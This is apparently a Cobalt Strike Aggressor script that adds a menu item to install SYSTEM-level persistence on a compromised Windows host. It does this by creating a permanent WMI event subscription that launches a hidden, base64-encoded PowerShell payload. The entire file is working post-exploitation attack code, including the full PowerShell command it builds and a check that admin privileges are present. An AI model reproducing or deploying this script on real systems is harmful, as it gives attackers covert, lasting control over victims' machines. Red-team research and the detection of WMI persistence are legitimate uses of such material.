46 lines
2.4 KiB
Plaintext
46 lines
2.4 KiB
Plaintext
|
|
||
|
|
sub persistwmievent {
|
||
|
|
$bid = $1;
|
||
|
|
if (-is64 $bid) {
|
||
|
|
$ExePath = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -enc";
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
$ExePath = "C:\\Windows\\powershell.exe -nop -w hidden -enc";
|
||
|
|
}
|
||
|
|
|
||
|
|
$dialog = dialog("Permanent WMI Event Persistence with PowerShell", %(eventfilter => "__EventFilter Name..", eventquery => "Event Query...(Win32 Classes)", payloadstring => "Encoded Payload String.."), lambda({
|
||
|
|
if ("$3['eventfilter']" ismatch '__EventFilter Name..' || "$3['eventquery']" ismatch 'Event Query...(Win32 Classes)' || "$3['payloadstring']" ismatch 'Encoded Payload String..') {
|
||
|
|
berror($bid, "\c4Please enter a valid __EventFilter Name, Event Query, and an Encoded Payload String.");
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name=\"".$3['eventfilter']."\";EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"".$3['eventquery']."\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name=\"".$3['eventfilter']."\";CommandLineTemplate =\"". $ExePath ." ".$3['payloadstring']."\"};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
|
||
|
|
bpowershell!($bid, $powershellcmd);
|
||
|
|
blog($bid, 'Permanently Storing '.$3['eventfilter'].' in root\CimV2..');
|
||
|
|
bpowershell($bid, 'Get-WmiObject __eventFilter -namespace root\subscription -filter "name=\''.$3['eventfilter'].'\'"');
|
||
|
|
bpowershell($bid, 'Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name=\''.$3['eventfilter'].'\'"');
|
||
|
|
}
|
||
|
|
}));
|
||
|
|
dialog_description($dialog, "Generates a Custom WMI Event using PowerShell for SYSTEM Level persistence on selected beacon. **Syntax is heavy, Test before using on live targets. Encoded Payload String must be converted to UTF-16LE, base64 encoded and under 1MB.**");
|
||
|
|
|
||
|
|
drow_text($dialog, "eventfilter", "Custom __EventFilter Name:");
|
||
|
|
drow_text($dialog, "eventquery", "Custom Event Query:");
|
||
|
|
drow_text($dialog, "payloadstring", "Custom Encoded Payload String:");
|
||
|
|
|
||
|
|
dbutton_action($dialog, "Create");
|
||
|
|
dialog_show($dialog);
|
||
|
|
}
|
||
|
|
|
||
|
|
popup beacon_bottom {
|
||
|
|
item "&Permanent WMI Event Persistence with PowerShell" {
|
||
|
|
local('$bid');
|
||
|
|
foreach $bid ($1) {
|
||
|
|
if (-isadmin $bid) {
|
||
|
|
persistwmievent($bid);
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
berror($1, "\c4Persistence Requires Admin Level Privileges");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|